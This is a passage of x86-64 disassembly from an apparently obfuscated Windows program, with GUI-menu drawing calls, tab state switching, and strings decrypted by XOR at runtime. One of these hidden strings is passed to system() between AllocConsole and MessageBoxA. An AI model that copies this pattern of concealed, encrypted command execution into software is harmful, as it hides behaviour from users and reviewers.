lea rcx, [rbp + 0x5a8]
movss xmm1, dword [0x14015d4e0]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [0x14015822c]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
mov rdx, r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
movabs rdx, 0xcaed3bae5282b2c6
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c2d1cafe419
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1420], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1428], rcx
lea rcx, [rbp + 0x1440]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1430], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x1404de3c0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1438], rax
movdqa xmm0, xmmword [rbp + 0x1430]
xorps xmm0, xmmword [rbp + 0x1420]
movdqa xmmword [rbp + 0x1420], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4cc]
lea rcx, [rbp + 0x5b0]
movss xmm1, dword [0x14015d4f4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x1420]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rcx, [0x1404de1d8]
mov rsi, rax
call fcn.140077710
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1450]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4cc]
lea rcx, [rbp + 0x5b8]
movss xmm1, dword [0x14015d50c]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
xor ecx, ecx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
cmp dword [0x1404dddb8], 6
jne 0x14004c520
call fcn.140013250
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1460]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d56c]
lea rcx, [rbp + 0x5c0]
movss xmm1, dword [0x14015d474]
mov edi, eax
call fcn.140001d30
movaps xmm2, xmm14
lea rcx, [rbp + 0x5c8]
movaps xmm1, xmm14
mov rbx, rax
call fcn.140001d30
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024340
movss xmm0, dword [0x14015d43c]
lea rcx, [rbp + 0x5d0]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
mov rcx, r14
call fcn.140012c70
movaps xmm2, xmm6
lea rcx, [rbp + 0x5d8]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 3
lea rdx, [0x1401581dc]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004bd82
mov dword [0x1404dddb8], 3
movaps xmm2, xmm6
lea rcx, [rbp + 0x5e0]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 4
lea rdx, [0x1401581e0]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004bdbb
mov dword [0x1404dddb8], 4
movaps xmm2, xmm6
lea rcx, [rbp + 0x5e8]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 5
lea rdx, [0x1401581e4]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004bdf4
mov dword [0x1404dddb8], 5
movaps xmm2, xmm6
lea rcx, [rbp + 0x5f0]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 6
lea rdx, [0x1401581e8]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004be2d
mov dword [0x1404dddb8], 6
movaps xmm2, xmm6
lea rcx, [rbp + 0x5f8]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 7
lea rdx, [0x1401581ec]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004be66
mov dword [0x1404dddb8], 7
call fcn.140012d10
call fcn.140017370
mov rcx, qword [0x1404ddd90]
call fcn.140012c70
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1470]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d39c]
lea rcx, [0x1404de3c0]
mov esi, eax
call fcn.140004fb0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1480]
mov r8d, edx
mov edi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d598]
lea rcx, [rbp + 0x600]
movss xmm1, dword [0x14015d484]
mov ebx, eax
call fcn.140001d30
movabs rcx, 0x33a66fbccd7eb820
mov r9d, edi
mov r8d, ebx
movss xmm2, dword [rax]
movss xmm3, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41f97c555789ad0e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2120], rax
movabs rax, 0xeabd1be772d09285
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2128], rax
movabs rax, 0xc712b222df14663b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2130], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2138], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2140], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2148], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2150], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x2120]
mov rax, qword [rbp + 0x10]
unpcklps xmm2, xmm3
mov qword [rbp + 0x2158], rax
movq rdx, xmm2
vmovdqu ymm0, ymmword [rbp + 0x2140]
vpxor ymm1, ymm0, ymmword [rbp + 0x2120]
vmovss xmm0, dword [0x14015d348]
vmovss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
vmovdqa ymmword [rbp + 0x2120], ymm1
vzeroupper
call fcn.140033150
call fcn.140012d10
call fcn.140017210
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4d8387336fcdd14
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae52b8c1b5
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1490], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1498], rcx
lea rcx, [rbp + 0x14b0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14a0], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14a8], rax
movdqa xmm0, xmmword [rbp + 0x14a0]
xorps xmm0, xmmword [rbp + 0x1490]
movdqa xmmword [rbp + 0x1490], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d458]
lea rcx, [rbp + 0x608]
movss xmm1, dword [0x14015d484]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1490]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rcx, [0x1404de080]
mov rsi, rax
call fcn.140077710
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x14c0]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d458]
lea rcx, [rbp + 0x610]
movss xmm1, dword [0x14015d4c8]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
lea rdx, [0x1404de3c0]
mov byte [rbp], al
movabs rax, 0x4d83d6013aeec15
mov qword [rbp + 0x10], rax
movabs rax, 0xac844fc037e6fbe6
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2160], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xfd32fd048b3c2506
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2168], rcx
movabs rcx, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2170], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2178], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2180], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2188], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2190], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x14d0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2198], rax
vmovdqu ymm0, ymmword [rbp + 0x2180]
vpxor ymm1, ymm0, ymmword [rbp + 0x2160]
vmovdqa ymmword [rbp + 0x2160], ymm1
vzeroupper
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d468]
lea rcx, [rbp + 0x618]
movss xmm1, dword [0x14015d484]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x2160]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rcx, [0x1404de0a0]
mov rsi, rax
call fcn.140077710
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x14e0]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d468]
lea rcx, [rbp + 0x620]
movss xmm1, dword [0x14015d508]
mov ebx, eax
call fcn.140001d30
xor ecx, ecx
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x28], rdi
movaps xmm2, xmm7
mov rcx, rsi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5bcf2f7912bfe411
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282b2e6
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14f0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14f8], rcx
lea rcx, [rbp + 0x1510]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1500], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1508], rax
movdqa xmm0, xmmword [rbp + 0x1500]
xorps xmm0, xmmword [rbp + 0x14f0]
movdqa xmmword [rbp + 0x14f0], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d478]
lea rcx, [rbp + 0x628]
movss xmm1, dword [0x14015d484]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0x14f0]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1520]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d478]
lea rcx, [rbp + 0x630]
movss xmm1, dword [0x14015d4b4]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [0x1404de290]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140017370
cmp dword [0x1404dddb8], 7
jne 0x14004d1a3
mov rcx, qword [0x1404ddd90]
call fcn.140012c70
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1530]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d39c]
lea rcx, [0x1404de3c0]
mov esi, eax
call fcn.140004fb0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1540]
mov r8d, edx
mov edi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d4f8]
lea rcx, [rbp + 0x638]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d30
mov r9d, edi
lea rcx, [rbp + 0x1550]
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41fe7c435799ad0e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1550], rax
movabs rax, 0xcabe1be972cc928f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1558], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1560], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1568], rax
movdqa xmm0, xmmword [rbp + 0x1560]
xorps xmm0, xmmword [rbp + 0x1550]
movdqa xmmword [rbp + 0x1550], xmm0
movss xmm0, dword [0x14015d348]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.140033150
call fcn.140012d10
call fcn.140013250
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1570]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d56c]
lea rcx, [rbp + 0x640]
movss xmm1, dword [0x14015d474]
mov edi, eax
call fcn.140001d30
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x648]
call fcn.140001d30
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024340
movss xmm0, dword [0x14015d43c]
lea rcx, [rbp + 0x650]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
mov rcx, r14
call fcn.140012c70
movaps xmm2, xmm6
lea rcx, [rbp + 0x658]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 3
lea rdx, [0x1401581dc]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004c764
mov dword [0x1404dddb8], 3
movaps xmm2, xmm6
lea rcx, [rbp + 0x660]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 4
lea rdx, [0x1401581e0]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004c79d
mov dword [0x1404dddb8], 4
movaps xmm2, xmm6
lea rcx, [rbp + 0x668]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 5
lea rdx, [0x1401581e4]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004c7d6
mov dword [0x1404dddb8], 5
movaps xmm2, xmm6
lea rcx, [rbp + 0x670]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 6
lea rdx, [0x1401581e8]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004c80f
mov dword [0x1404dddb8], 6
movaps xmm2, xmm6
lea rcx, [rbp + 0x678]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 7
lea rdx, [0x1401581ec]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004c848
mov dword [0x1404dddb8], 7
call fcn.140012d10
call fcn.140017370
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x338a317203aff40e
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bdc3be3c2a3
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1580], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1588], rcx
lea rcx, [rbp + 0x15a0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1590], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1598], rax
movdqa xmm0, xmmword [rbp + 0x1590]
xorps xmm0, xmmword [rbp + 0x1580]
movdqa xmmword [rbp + 0x1580], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d458]
lea rcx, [rbp + 0x680]
movss xmm1, dword [0x14015d484]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x1580]
mov rdx, qword [0x1404ddd98]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
movss xmm2, dword [0x14015d468]
lea rcx, [rbp + 0x688]
movss xmm1, dword [0x14015d484]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movaps xmm2, xmm14
lea rcx, [rbp + 0x690]
movaps xmm1, xmm14
call fcn.140001d30
mov rdx, rax
movabs rdi, 0x61aa5c1777dc8d5d
xor eax, eax
movabs rbx, 0xcaed3bae5282b2c6
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x328a2e7e16ace80f
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bc337f6c1bf
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x15b0], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x15b8], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15c0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0x15b0]
mov qword [rbp + 0x15c8], rax
movdqa xmm0, xmmword [rbp + 0x15c0]
xorps xmm0, xmmword [rbp + 0x15b0]
movdqa xmmword [rbp + 0x15b0], xmm0
call fcn.140031b00
test al, al
je 0x14004cc9c
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor eax, eax
lea rcx, [rbp + 0x15d0]
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xc92f3857bfeb2e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15d0], rax
movabs rax, 0xcaed3bae25eddca8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15d8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15e0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15e8], rax
movdqa xmm0, xmmword [rbp + 0x15e0]
xorps xmm0, xmmword [rbp + 0x15d0]
movdqa xmmword [rbp + 0x15d0], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c432599c11c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15f0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15f8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1600], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1608], rax
xor eax, eax
movdqa xmm0, xmmword [rbp + 0x1600]
xorps xmm0, xmmword [rbp + 0x15f0]
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x328a317203aff40e
movdqa xmmword [rbp + 0x15f0], xmm0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fc0], rax
movabs rax, 0xa38352e872ecd3a5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fc8], rax
movabs rax, 0xab0c98439b382e1c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fd0], rax
movabs rax, 0x40c33d9ca80dd945
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fd8], rax
movabs rax, 0xae5be81b63797045
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fe0], rax
movabs rax, 0xdc567ee28c25e59e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fe8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4060], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4068], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4070], rax
lea r8, [rbp + 0x15f0]
movabs rax, 0x33a66fbccd7eb820
lea rdx, [rbp + 0x4fc0]
mov qword [rbp + 0x10], rax
mov r9d, 0x40
mov rax, qword [rbp + 0x10]
xor ecx, ecx
mov qword [rbp + 0x4078], rax
movabs rax, 0xdd22bb3b170b1131
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4080], rax
movabs rax, 0xdc567ee2a24880ea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x4fe0]
vmovdqu ymm0, ymmword [rbp + 0x4060]
vpxor ymm1, ymm0, ymmword [rbp + 0x4fc0]
mov qword [rbp + 0x4088], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x4080]
vmovdqa ymmword [rbp + 0x4fc0], ymm1
vmovdqa xmmword [rbp + 0x4fe0], xmm2
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x4c73d7905b9fe08
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282b2fc
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1610], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1618], rcx
lea rcx, [rbp + 0x1630]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1620], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1610]
mov qword [rbp + 0x1628], rax
xorps xmm0, xmmword [rbp + 0x1620]
movdqa xmmword [rbp + 0x1610], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d48c]
lea rcx, [rbp + 0x698]
movss xmm1, dword [0x14015d484]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x1610]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1640]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d48c]
lea rcx, [rbp + 0x6a0]
movss xmm1, dword [0x14015d4c0]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [0x1404de240]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
movss xmm2, dword [0x14015d4a4]
lea rcx, [rbp + 0x6a8]
movss xmm1, dword [0x14015d484]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movss xmm2, dword [0x14015d430]
movss xmm1, dword [0x14015d490]
lea rcx, [rbp + 0x6b0]
call fcn.140001d30
mov rdx, rax
mov qword [rsp + 0x38], rsi
xor eax, eax
mov qword [rsp + 0x30], rsi
mov byte [rbp], al
lea r8, [0x1404de240]
mov byte [rbp], al
movabs rbx, 0xcaed3bae5282b2c6
mov byte [rbp], al
mov r9d, 0x40
movabs rax, 0x13cf2f4257abe813
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae37efd3a8
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1650], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1658], rcx
lea rcx, [0x140158230]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1660], rax
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0x1650]
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1650]
mov qword [rbp + 0x1668], rax
xorps xmm0, xmmword [rbp + 0x1660]
movdqa xmmword [rbp + 0x1650], xmm0
call fcn.1400370c0
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x388a287412b0e80e
mov qword [rbp + 0x10], rax
movabs rax, 0xa29954e372f0c7a9
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x21a0], rcx
